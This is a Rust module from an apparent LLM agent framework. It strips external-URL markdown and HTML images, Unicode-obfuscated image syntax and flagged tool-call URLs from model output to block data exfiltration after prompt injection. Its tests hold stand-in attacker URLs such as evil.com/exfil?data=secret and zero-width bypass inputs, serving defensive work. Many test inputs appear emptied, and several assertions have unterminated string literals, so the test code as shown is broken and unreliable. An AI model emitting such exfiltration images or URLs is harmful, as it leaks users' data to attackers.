use std::collections::HashSet;
use std::fmt::Write as _;
use std::sync::LazyLock;
use regex::Regex;
use zeph_common::ToolName;
pub use zeph_config::ExfiltrationGuardConfig;
static MARKDOWN_IMAGE_RE: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(
r#"(?i)!\[([^\]]*)\]\(\s*(?:<((?:https?:)?//[^>]+)>|((?:https?:)?//[^)\s]+))(?:\s+(?:"(?:\\.|[^"])*"|'[^']*'|\([^)]*\)))?\s*\)"#,
)
.expect("valid MARKDOWN_IMAGE_RE")
});
static REFERENCE_DEF_RE: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(r"(?im)^\[([^\]]+)\]:\s*(?:<((?:https?:)?//[^>]+)>|((?:https?:)?//\S+))")
.expect("valid REFERENCE_DEF_RE")
});
static REFERENCE_USAGE_RE: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"!\[([^\]]*)\]\[([^\]]+)\]").expect("valid REFERENCE_USAGE_RE"));
static URL_EXTRACT_RE: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r#"(?i)(?:https?:)?//[^\s"'<>]+"#).expect("valid URL_EXTRACT_RE"));
static HTML_IMG_RE: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(
r#"(?i)<img\b[^>]*\bsrc\s*=\s*(?:["']((?:https?:)?//[^"']+)["']|((?:https?:)?//[^\s>]+))[^>]*>"#,
)
.expect("valid HTML_IMG_RE")
});
static UNICODE_BYPASS_RE: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"!(?:[\p{Cf}\x{034F}])+\[").expect("valid UNICODE_BYPASS_RE"));
#[non_exhaustive]
#[derive(Debug, Clone, PartialEq)]
pub enum ExfiltrationEvent {
MarkdownImageBlocked { url: String },
HtmlImageBlocked { url: String },
SuspiciousToolUrl { url: String, tool_name: ToolName },
MemoryWriteGuarded { reason: String },
}
#[derive(Debug, Clone)]
pub struct ExfiltrationGuard {
config: ExfiltrationGuardConfig,
}
impl ExfiltrationGuard {
#[must_use]
pub fn new(config: ExfiltrationGuardConfig) -> Self {
Self { config }
}
#[must_use]
pub fn scan_output(&self, text: &str) -> (String, Vec<ExfiltrationEvent>) {
if !self.config.block_markdown_images {
return (text.to_owned(), vec![]);
}
let mut events = Vec::new();
let mut result = text.to_owned();
let mut replacement = String::new();
let mut last_end = 0usize;
for cap in MARKDOWN_IMAGE_RE.captures_iter(text) {
let m = cap.get(0).expect("full match");
let raw_url = cap
.get(2)
.or_else(|| cap.get(3))
.expect("url group")
.as_str();
let url = percent_decode_url(raw_url);
if is_external_url(&url) {
replacement.push_str(&text[last_end..m.start()]);
let _ = write!(replacement, "[image removed: {url}]");
last_end = m.end();
events.push(ExfiltrationEvent::MarkdownImageBlocked { url });
}
}
if !events.is_empty() || last_end > 0 {
replacement.push_str(&text[last_end..]);
result = replacement;
}
let mut ref_defs: std::collections::HashMap<String, String> =
std::collections::HashMap::new();
for cap in REFERENCE_DEF_RE.captures_iter(&result) {
let label = cap.get(1).expect("label").as_str().to_lowercase();
let raw_url = cap.get(2).or_else(|| cap.get(3)).expect("url").as_str();
let url = percent_decode_url(raw_url);
if is_external_url(&url) {
ref_defs.insert(label, url);
}
}
if !ref_defs.is_empty() {
let mut cleaned = String::with_capacity(result.len());
let mut last_end = 0usize;
for cap in REFERENCE_USAGE_RE.captures_iter(&result) {
let m = cap.get(0).expect("full match");
let label = cap.get(2).expect("label").as_str().to_lowercase();
if let Some(url) = ref_defs.get(&label) {
cleaned.push_str(&result[last_end..m.start()]);
let _ = write!(cleaned, "[image removed: {url}]");
last_end = m.end();
events.push(ExfiltrationEvent::MarkdownImageBlocked { url: url.clone() });
}
}
cleaned.push_str(&result[last_end..]);
result = cleaned;
let mut def_cleaned = String::with_capacity(result.len());
for line in result.split('\n') {
let mut keep = true;
for cap in REFERENCE_DEF_RE.captures_iter(line) {
let label = cap.get(1).expect("label").as_str().to_lowercase();
if ref_defs.contains_key(&label) {
keep = false;
break;
}
}
if keep {
def_cleaned.push_str(line);
def_cleaned.push('\n');
}
}
if !text.ends_with('\n') && def_cleaned.ends_with('\n') {
def_cleaned.pop();
}
result = def_cleaned;
}
let mut html_result = String::with_capacity(result.len());
let mut html_last_end = 0usize;
for cap in HTML_IMG_RE.captures_iter(&result) {
let m = cap.get(0).expect("full match");
let url = cap
.get(1)
.or_else(|| cap.get(2))
.expect("src url group")
.as_str()
.to_owned();
tracing::warn!(url = %url, "HTML img tag with external URL stripped from LLM output");
html_result.push_str(&result[html_last_end..m.start()]);
let _ = write!(html_result, "[image removed: {url}]");
html_last_end = m.end();
events.push(ExfiltrationEvent::HtmlImageBlocked { url });
}
if html_last_end > 0 {
html_result.push_str(&result[html_last_end..]);
result = html_result;
}
if UNICODE_BYPASS_RE.is_match(&result) {
tracing::warn!("Unicode zero-width bypass attempt detected in LLM output; stripping");
result = UNICODE_BYPASS_RE
.replace_all(&result, "[blocked]")
.into_owned();
}
(result, events)
}
#[must_use]
pub fn validate_tool_call(
&self,
tool_name: &str,
args_json: &str,
flagged_urls: &HashSet<String>,
) -> Vec<ExfiltrationEvent> {
if !self.config.validate_tool_urls || flagged_urls.is_empty() {
return vec![];
}
let parsed: serde_json::Value = match serde_json::from_str(args_json) {
Ok(v) => v,
Err(_) => {
return Self::scan_raw_args(tool_name, args_json, flagged_urls);
}
};
let mut events = Vec::new();
let mut strings = Vec::new();
collect_strings(&parsed, &mut strings, 0);
for s in &strings {
for url_match in URL_EXTRACT_RE.find_iter(s) {
let url = url_match.as_str();
if flagged_urls.contains(normalize_url_for_matching(url)) {
events.push(ExfiltrationEvent::SuspiciousToolUrl {
url: url.to_owned(),
tool_name: tool_name.into(),
});
}
}
}
events
}
#[must_use]
pub fn should_guard_memory_write(
&self,
has_injection_flags: bool,
) -> Option<ExfiltrationEvent> {
if !self.config.guard_memory_writes || !has_injection_flags {
return None;
}
Some(ExfiltrationEvent::MemoryWriteGuarded {
reason: "content contained injection patterns flagged by ContentSanitizer".to_owned(),
})
}
fn scan_raw_args(
tool_name: &str,
args: &str,
flagged_urls: &HashSet<String>,
) -> Vec<ExfiltrationEvent> {
URL_EXTRACT_RE
.find_iter(args)
.filter(|m| flagged_urls.contains(normalize_url_for_matching(m.as_str())))
.map(|m| ExfiltrationEvent::SuspiciousToolUrl {
url: m.as_str().to_owned(),
tool_name: tool_name.into(),
})
.collect()
}
}
#[must_use]
pub fn extract_flagged_urls(content: &str) -> HashSet<String> {
URL_EXTRACT_RE
.find_iter(content)
.map(|m| m.as_str().to_owned())
.collect()
}
fn percent_decode_url(raw: &str) -> String {
let mut out = String::with_capacity(raw.len());
let bytes = raw.as_bytes();
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b'%'
&& i + 2 < bytes.len()
&& let (Some(hi), Some(lo)) = (
(bytes[i + 1] as char).to_digit(16),
(bytes[i + 2] as char).to_digit(16),
)
{
#[allow(clippy::cast_possible_truncation)]
let byte = ((hi << 4) | lo) as u8;
out.push(byte as char);
i += 3;
continue;
}
out.push(bytes[i] as char);
i += 1;
}
out
}
fn is_external_url(url: &str) -> bool {
url.starts_with("//")
|| url
.get(..8)
.is_some_and(|s| s.eq_ignore_ascii_case("https://"))
|| url
.get(..7)
.is_some_and(|s| s.eq_ignore_ascii_case("http://"))
}
#[must_use]
pub fn normalize_url_for_matching(url: &str) -> &str {
if url
.get(..8)
.is_some_and(|s| s.eq_ignore_ascii_case("https://"))
{
&url[6..]
} else if url
.get(..7)
.is_some_and(|s| s.eq_ignore_ascii_case("http://"))
{
&url[5..]
} else {
url
}
}
const MAX_JSON_DEPTH: usize = 256;
fn collect_strings<'a>(value: &'a serde_json::Value, out: &mut Vec<&'a str>, depth: usize) {
if depth >= MAX_JSON_DEPTH {
tracing::warn!(
depth,
"collect_strings: max JSON nesting depth reached, skipping further descent"
);
return;
}
match value {
serde_json::Value::String(s) => out.push(s.as_str()),
serde_json::Value::Array(arr) => {
for v in arr {
collect_strings(v, out, depth + 1);
}
}
serde_json::Value::Object(map) => {
for v in map.values() {
collect_strings(v, out, depth + 1);
}
}
_ => {}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::assert_matches;
fn guard() -> ExfiltrationGuard {
ExfiltrationGuard::new(ExfiltrationGuardConfig::default())
}
fn guard_disabled() -> ExfiltrationGuard {
ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: false,
validate_tool_urls: false,
guard_memory_writes: false,
})
}
fn build_flagged_set(text: &str) -> HashSet<String> {
extract_flagged_urls(text)
.iter()
.map(|u| normalize_url_for_matching(u).to_owned())
.collect()
}
#[test]
fn strips_external_inline_image() {
let (cleaned, events) =
guard().scan_output("Before  after");
assert_eq!(
cleaned,
"Before [image removed: https://evil.com/p.gif] after"
);
assert_eq!(events.len(), 1);
assert!(
matches!(&events[0], ExfiltrationEvent::MarkdownImageBlocked { url } if url == "https://evil.com/p.gif")
);
}
#[test]
fn preserves_local_image() {
let text = "Look:  — local";
let (cleaned, events) = guard().scan_output(text);
assert_eq!(cleaned, text);
assert!(events.is_empty());
}
#[test]
fn preserves_data_uri() {
let text = "Inline: ";
let (cleaned, events) = guard().scan_output(text);
assert_eq!(cleaned, text);
assert!(events.is_empty());
}
#[test]
fn strips_multiple_external_images() {
let text = " text ";
let (cleaned, events) = guard().scan_output(text);
assert!(
!cleaned.contains(",
"first image syntax must be removed: {cleaned}"
);
assert!(
!cleaned.contains(",
"second image syntax must be removed: {cleaned}"
);
assert_eq!(events.len(), 2);
}
#[test]
fn scan_output_noop_when_disabled() {
let text = "";
let (cleaned, events) = guard_disabled().scan_output(text);
assert_eq!(cleaned, text);
assert!(events.is_empty());
}
#[test]
fn strips_reference_style_image() {
let text = "Here is the image: ![alt][ref]\n[ref]: https://evil.com/track.gif\nend";
let (cleaned, events) = guard().scan_output(text);
assert!(
!cleaned.contains("![alt][ref]"),
"image usage syntax must be removed: {cleaned}"
);
assert!(
!cleaned.contains("[ref]:"),
"reference definition must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed:"),
"replacement label must be present: {cleaned}"
);
assert!(!events.is_empty(), "must generate event");
}
#[test]
fn preserves_local_reference_image() {
let text = "![alt][ref]\n[ref]: ./local.png\n";
let (cleaned, events) = guard().scan_output(text);
assert_eq!(cleaned, text);
assert!(events.is_empty());
}
#[test]
fn decodes_percent_encoded_url_in_inline_image() {
let text = "";
let (cleaned, _events) = guard().scan_output(text);
assert_eq!(
cleaned, text,
"percent-encoded scheme not detected by inline regex"
);
let normal = "";
let (normal_cleaned, normal_events) = guard().scan_output(normal);
assert!(
!normal_cleaned.contains(",
"normal URL must be removed"
);
assert_eq!(normal_events.len(), 1);
}
#[test]
fn strips_inline_image_with_leading_whitespace_in_destination() {
let (cleaned, events) =
guard().scan_output("Before  after");
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed: https://evil.com/pixel.gif]"),
"replacement label must contain the url: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_inline_image_with_angle_bracket_destination() {
let (cleaned, events) =
guard().scan_output("Before  after");
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed: https://evil.com/pixel.gif]"),
"replacement label must contain the url: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_inline_image_with_double_quoted_title() {
let (cleaned, events) =
guard().scan_output(r#"Before  after"#);
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed: https://evil.com/x.gif]"),
"replacement label must contain the url without the title: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_inline_image_with_single_quoted_title() {
let (cleaned, events) =
guard().scan_output("Before  after");
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_inline_image_with_paren_title() {
let (cleaned, events) =
guard().scan_output("Before ) after");
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_inline_image_with_leading_whitespace_and_title() {
let (cleaned, events) =
guard().scan_output(r#"Before  after"#);
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_inline_image_with_angle_bracket_destination_and_title() {
let (cleaned, events) =
guard().scan_output(r#"Before  after"#);
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed: https://evil.com/x.gif]"),
"replacement label must contain the url without the title: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_reference_style_image_with_angle_bracket_destination() {
let text = "Here is the image: ![alt][ref]\n[ref]: <https://evil.com/track.gif>\nend";
let (cleaned, events) = guard().scan_output(text);
assert!(
!cleaned.contains("![alt][ref]"),
"image usage syntax must be removed: {cleaned}"
);
assert!(
!cleaned.contains("[ref]:"),
"reference definition must be removed: {cleaned}"
);
assert!(!events.is_empty(), "must generate event");
}
#[test]
fn html_img_tag_unquoted_src_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let (cleaned, events) = guard.scan_output("text <img src=https://evil.com/p.gif> end");
assert!(
events
.iter()
.any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { url } if url == "https://evil.com/p.gif")),
"expected HtmlImageBlocked event for unquoted src"
);
assert!(
!cleaned.contains("<img"),
"img tag must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed:"),
"replacement label must be present: {cleaned}"
);
}
#[test]
fn empty_alt_text_still_blocked() {
let text = "";
let (cleaned, events) = guard().scan_output(text);
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed:"),
"replacement label must be present: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn html_img_tag_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let (cleaned, events) = guard.scan_output(r#"text <img src="https://evil.com/p.gif"> end"#);
assert!(
events
.iter()
.any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { .. })),
"expected HtmlImageBlocked event"
);
assert!(
!cleaned.contains("<img"),
"img tag must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed:"),
"replacement label must be present: {cleaned}"
);
}
#[test]
fn html_img_tag_single_quote_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let (cleaned, events) = guard.scan_output("text <img src='https://evil.com/p.gif'> end");
assert!(
events
.iter()
.any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { .. })),
"expected HtmlImageBlocked event for single-quoted src"
);
assert!(
!cleaned.contains("<img"),
"img tag must be removed: {cleaned}"
);
}
#[test]
fn html_img_tag_noop_when_disabled() {
let input = r#"text <img src="https://evil.com/p.gif"> end"#;
let (cleaned, events) = guard_disabled().scan_output(input);
assert_eq!(cleaned, input);
assert!(events.is_empty());
}
#[test]
fn unicode_zwj_bypass_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "!\u{200B}[alt](https://evil.com/track)";
let (cleaned, _events) = guard.scan_output(input);
assert!(
!cleaned.contains('\u{200B}'),
"zero-width char must be stripped: {cleaned}"
);
assert!(
!cleaned.starts_with('!'),
"image trigger `!` must be removed: {cleaned}"
);
}
#[test]
fn unicode_word_joiner_bypass_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "!\u{2060}[alt](https://evil.com/track)";
let (cleaned, _events) = guard.scan_output(input);
assert!(
!cleaned.contains('\u{2060}'),
"U+2060 word joiner must be stripped: {cleaned}"
);
assert!(
!cleaned.starts_with('!'),
"image trigger `!` must be removed: {cleaned}"
);
}
#[test]
fn unicode_bypass_noop_when_disabled() {
let input = "!\u{200B}[alt](https://evil.com/track)";
let (cleaned, events) = guard_disabled().scan_output(input);
assert_eq!(cleaned, input);
assert!(events.is_empty());
}
#[test]
fn unicode_bidi_override_bypass_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "!\u{202E}[alt](https://evil.com/track)";
let (cleaned, _events) = guard.scan_output(input);
assert!(
!cleaned.contains('\u{202E}'),
"U+202E BIDI override must be stripped: {cleaned}"
);
assert!(
!cleaned.starts_with('!'),
"image trigger `!` must be removed: {cleaned}"
);
}
#[test]
fn unicode_bidi_isolate_bypass_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "!\u{2066}[alt](https://evil.com/track)";
let (cleaned, _events) = guard.scan_output(input);
assert!(
!cleaned.contains('\u{2066}'),
"U+2066 BIDI isolate must be stripped: {cleaned}"
);
assert!(
!cleaned.starts_with('!'),
"image trigger `!` must be removed: {cleaned}"
);
}
#[test]
fn unicode_soft_hyphen_bypass_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "!\u{00AD}[alt](https://evil.com/track)";
let (cleaned, _events) = guard.scan_output(input);
assert!(
!cleaned.contains('\u{00AD}'),
"U+00AD soft hyphen must be stripped: {cleaned}"
);
assert!(
!cleaned.starts_with('!'),
"image trigger `!` must be removed: {cleaned}"
);
}
#[test]
fn unicode_tags_block_bypass_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "!\u{E0041}[alt](https://evil.com/track)";
let (cleaned, _events) = guard.scan_output(input);
assert!(
!cleaned.contains('\u{E0041}'),
"U+E0041 TAGS char must be stripped: {cleaned}"
);
assert!(
!cleaned.starts_with('!'),
"image trigger `!` must be removed: {cleaned}"
);
}
#[test]
fn unicode_cgj_bypass_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "!\u{034F}[alt](https://evil.com/track)";
let (cleaned, _events) = guard.scan_output(input);
assert!(
!cleaned.contains('\u{034F}'),
"U+034F CGJ must be stripped: {cleaned}"
);
assert!(
!cleaned.starts_with('!'),
"image trigger `!` must be removed: {cleaned}"
);
}
#[test]
fn unicode_heterogeneous_run_bypass_blocked() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "!\u{200B}\u{202E}\u{E0001}[alt](https://evil.com/track)";
let (cleaned, _events) = guard.scan_output(input);
assert!(
!cleaned.contains('\u{200B}'),
"U+200B must be stripped in mixed run: {cleaned}"
);
assert!(
!cleaned.contains('\u{202E}'),
"U+202E must be stripped in mixed run: {cleaned}"
);
assert!(
!cleaned.contains('\u{E0001}'),
"U+E0001 must be stripped in mixed run: {cleaned}"
);
assert!(
!cleaned.starts_with('!'),
"image trigger `!` must be removed: {cleaned}"
);
}
#[test]
fn unicode_bypass_no_false_positive_on_space() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let input = "! [text](https://example.com/)";
let (cleaned, _events) = guard.scan_output(input);
assert_eq!(
cleaned, input,
"literal space between ! and [ must not trigger bypass detection"
);
}
#[test]
fn unicode_bypass_no_false_positive_on_clean_image() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let (cleaned, events) = guard.scan_output("");
assert!(
events
.iter()
.any(|e| matches!(e, ExfiltrationEvent::MarkdownImageBlocked { .. })),
"should produce MarkdownImageBlocked event, not bypass event"
);
assert!(
!cleaned.contains(",
"clean image must be stripped by Pass 1: {cleaned}"
);
}
#[test]
fn strips_inline_image_with_uppercase_scheme() {
let (cleaned, events) = guard().scan_output("Before  after");
assert!(
!cleaned.contains(",
"uppercase-scheme image syntax must be removed: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_inline_image_with_mixed_case_scheme() {
let (cleaned, events) = guard().scan_output("Before  after");
assert!(
!cleaned.contains(",
"mixed-case-scheme image syntax must be removed: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_inline_image_with_scheme_relative_url() {
let (cleaned, events) = guard().scan_output("Before  after");
assert!(
!cleaned.contains(",
"scheme-relative image syntax must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed: //evil.com/p.gif]"),
"replacement label must contain the scheme-relative url: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn strips_html_img_tag_with_scheme_relative_src() {
let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
block_markdown_images: true,
..ExfiltrationGuardConfig::default()
});
let (cleaned, events) = guard.scan_output(r#"text <img src="//evil.com/p.gif"> end"#);
assert!(
events
.iter()
.any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { url } if url == "//evil.com/p.gif")),
"expected HtmlImageBlocked event for scheme-relative src"
);
assert!(
!cleaned.contains("<img"),
"img tag must be removed: {cleaned}"
);
}
#[test]
fn strips_reference_style_image_with_scheme_relative_destination() {
let text = "Here is the image: ![alt][ref]\n[ref]: //evil.com/track.gif\nend";
let (cleaned, events) = guard().scan_output(text);
assert!(
!cleaned.contains("![alt][ref]"),
"image usage syntax must be removed: {cleaned}"
);
assert!(
!cleaned.contains("[ref]:"),
"reference definition must be removed: {cleaned}"
);
assert!(!events.is_empty(), "must generate event");
}
#[test]
fn strips_inline_image_with_escaped_quote_in_title() {
let (cleaned, events) =
guard().scan_output(r#"Before  after"#);
assert!(
!cleaned.contains(",
"markdown image syntax with escaped-quote title must be removed: {cleaned}"
);
assert!(
cleaned.contains("[image removed: https://evil.com/x.gif]"),
"replacement label must contain the url without the title: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn preserves_plain_relative_path_image() {
let text = "Look:  — local";
let (cleaned, events) = guard().scan_output(text);
assert_eq!(cleaned, text);
assert!(events.is_empty());
}
#[test]
fn preserves_relative_path_with_interior_double_slash() {
let text = "Look:  — local";
let (cleaned, events) = guard().scan_output(text);
assert_eq!(cleaned, text);
assert!(events.is_empty());
}
#[test]
fn strips_image_with_trailing_backslash_before_title_close() {
let text = r#"Before  after"#;
let (cleaned, events) = guard().scan_output(text);
assert!(
!cleaned.contains(",
"markdown image syntax must be removed: {cleaned}"
);
assert_eq!(events.len(), 1);
}
#[test]
fn is_external_url_case_insensitive_and_scheme_relative() {
assert!(is_external_url("https://evil.com/x"));
assert!(is_external_url("HTTPS://evil.com/x"));
assert!(is_external_url("Http://evil.com/x"));
assert!(is_external_url("//evil.com/x"));
assert!(!is_external_url("images/pic.gif"));
assert!(!is_external_url("/images/pic.gif"));
assert!(!is_external_url("data:image/png;base64,abc"));
}
#[test]
fn detects_flagged_url_in_json_string() {
let flagged = build_flagged_set("https://evil.com/payload");
let args = r#"{"url": "https://evil.com/payload"}"#;
let events = guard().validate_tool_call("fetch", args, &flagged);
assert_eq!(events.len(), 1);
assert!(
matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, tool_name }
if url == "https://evil.com/payload" && tool_name == "fetch")
);
}
#[test]
fn scheme_relative_flag_matches_explicit_scheme_tool_arg() {
let flagged = build_flagged_set("suspicious link: //evil.com/exfil?data=secret");
let args = r#"{"url": "https://evil.com/exfil?data=secret"}"#;
let events = guard().validate_tool_call("fetch", args, &flagged);
assert_eq!(
events.len(),
1,
"scheme-relative flag must match explicit-scheme tool arg"
);
assert!(
matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, .. }
if url == "https://evil.com/exfil?data=secret"),
"raw (non-normalized) url must be preserved in the event"
);
}
#[test]
fn explicit_scheme_flag_matches_scheme_relative_tool_arg() {
let flagged = build_flagged_set("suspicious link: https://evil.com/exfil2?data=secret");
let args = r#"{"url": "//evil.com/exfil2?data=secret"}"#;
let events = guard().validate_tool_call("fetch", args, &flagged);
assert_eq!(
events.len(),
1,
"explicit-scheme flag must match scheme-relative tool arg"
);
assert!(
matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, .. }
if url == "//evil.com/exfil2?data=secret"),
"raw (non-normalized) url must be preserved in the event"
);
}
#[test]
fn no_event_when_url_not_flagged() {
let mut flagged = HashSet::new();
flagged.insert("https://other.com/benign".to_owned());
let args = r#"{"url": "https://legitimate.com/page"}"#;
let events = guard().validate_tool_call("fetch", args, &flagged);
assert!(events.is_empty());
}
#[test]
fn validate_tool_call_noop_when_disabled() {
let mut flagged = HashSet::new();
flagged.insert("https://evil.com/x".to_owned());
let args = r#"{"url": "https://evil.com/x"}"#;
let events = guard_disabled().validate_tool_call("fetch", args, &flagged);
assert!(events.is_empty());
}
#[test]
fn validate_tool_call_noop_with_empty_flagged() {
let args = r#"{"url": "https://evil.com/x"}"#;
let events = guard().validate_tool_call("fetch", args, &HashSet::new());
assert!(events.is_empty());
}
#[test]
fn extracts_urls_from_nested_json() {
let flagged = build_flagged_set("https://evil.com/deep");
let args = r#"{"nested": {"inner": ["https://evil.com/deep"]}}"#;
let events = guard().validate_tool_call("tool", args, &flagged);
assert_eq!(events.len(), 1);
}
#[test]
fn handles_escaped_slashes_in_json() {
let flagged = build_flagged_set("https://evil.com/path");
let args = r#"{"url": "https:\/\/evil.com\/path"}"#;
let parsed: serde_json::Value = serde_json::from_str(args).unwrap();
assert_eq!(parsed["url"], "https://evil.com/path");
let events = guard().validate_tool_call("fetch", args, &flagged);
assert_eq!(events.len(), 1, "JSON-escaped URL must be caught");
}
#[test]
fn guards_when_injection_flags_set() {
let event = guard().should_guard_memory_write(true);
assert!(event.is_some());
assert_matches!(event.unwrap(), ExfiltrationEvent::MemoryWriteGuarded { .. });
}
#[test]
fn passes_when_no_injection_flags() {
let event = guard().should_guard_memory_write(false);
assert!(event.is_none());
}
#[test]
fn guard_memory_write_noop_when_disabled() {
let event = guard_disabled().should_guard_memory_write(true);
assert!(event.is_none());
}
#[test]
fn percent_decode_roundtrip() {
assert_eq!(
percent_decode_url("https://example.com"),
"https://example.com"
);
assert_eq!(
percent_decode_url("%68ttps://example.com"),
"https://example.com"
);
assert_eq!(percent_decode_url("hello%20world"), "hello world");
}
#[test]
fn extracts_urls_from_plain_text() {
let content = "check https://evil.com/x and https://other.com/y for details";
let urls = extract_flagged_urls(content);
assert!(urls.contains("https://evil.com/x"));
assert!(urls.contains("https://other.com/y"));
}
#[test]
fn extracts_scheme_relative_urls_from_plain_text_raw() {
let content = "check //evil.com/x for details";
let urls = extract_flagged_urls(content);
assert!(urls.contains("//evil.com/x"));
}
#[test]
fn extract_flagged_urls_does_not_collapse_explicit_and_scheme_relative_forms() {
let urls = extract_flagged_urls("https://evil.com/x and //evil.com/x again");
assert_eq!(
urls.len(),
2,
"raw output must keep both forms distinct: {urls:?}"
);
assert!(urls.contains("https://evil.com/x"));
assert!(urls.contains("//evil.com/x"));
}
#[test]
fn build_flagged_set_normalizes_explicit_and_scheme_relative_to_same_entry() {
let urls = build_flagged_set("https://evil.com/x and //evil.com/x again");
assert_eq!(
urls.len(),
1,
"both forms must normalize to the same entry: {urls:?}"
);
assert!(urls.contains("//evil.com/x"));
}
#[test]
fn normalize_url_for_matching_strips_scheme_case_insensitively() {
assert_eq!(
normalize_url_for_matching("https://evil.com/x"),
"//evil.com/x"
);
assert_eq!(
normalize_url_for_matching("HTTPS://evil.com/x"),
"//evil.com/x"
);
assert_eq!(
normalize_url_for_matching("http://evil.com/x"),
"//evil.com/x"
);
assert_eq!(
normalize_url_for_matching("Http://evil.com/x"),
"//evil.com/x"
);
assert_eq!(normalize_url_for_matching("//evil.com/x"), "//evil.com/x");
}
fn nested_array(depth: usize, leaf: &str) -> serde_json::Value {
let mut v = serde_json::json!(leaf);
for _ in 0..depth {
v = serde_json::Value::Array(vec![v]);
}
v
}
#[test]
fn collect_strings_adversarial_scale_does_not_crash() {
let value = nested_array(10_000, "deep");
let mut out = Vec::new();
collect_strings(&value, &mut out, 0);
assert!(out.is_empty());
}
#[test]
fn collect_strings_exact_depth_boundary() {
let just_inside = nested_array(MAX_JSON_DEPTH - 1, "just_inside");
let mut out = Vec::new();
collect_strings(&just_inside, &mut out, 0);
assert_eq!(out, vec!["just_inside"]);
let just_outside = nested_array(MAX_JSON_DEPTH, "just_outside");
let mut out = Vec::new();
collect_strings(&just_outside, &mut out, 0);
assert!(out.is_empty());
}
}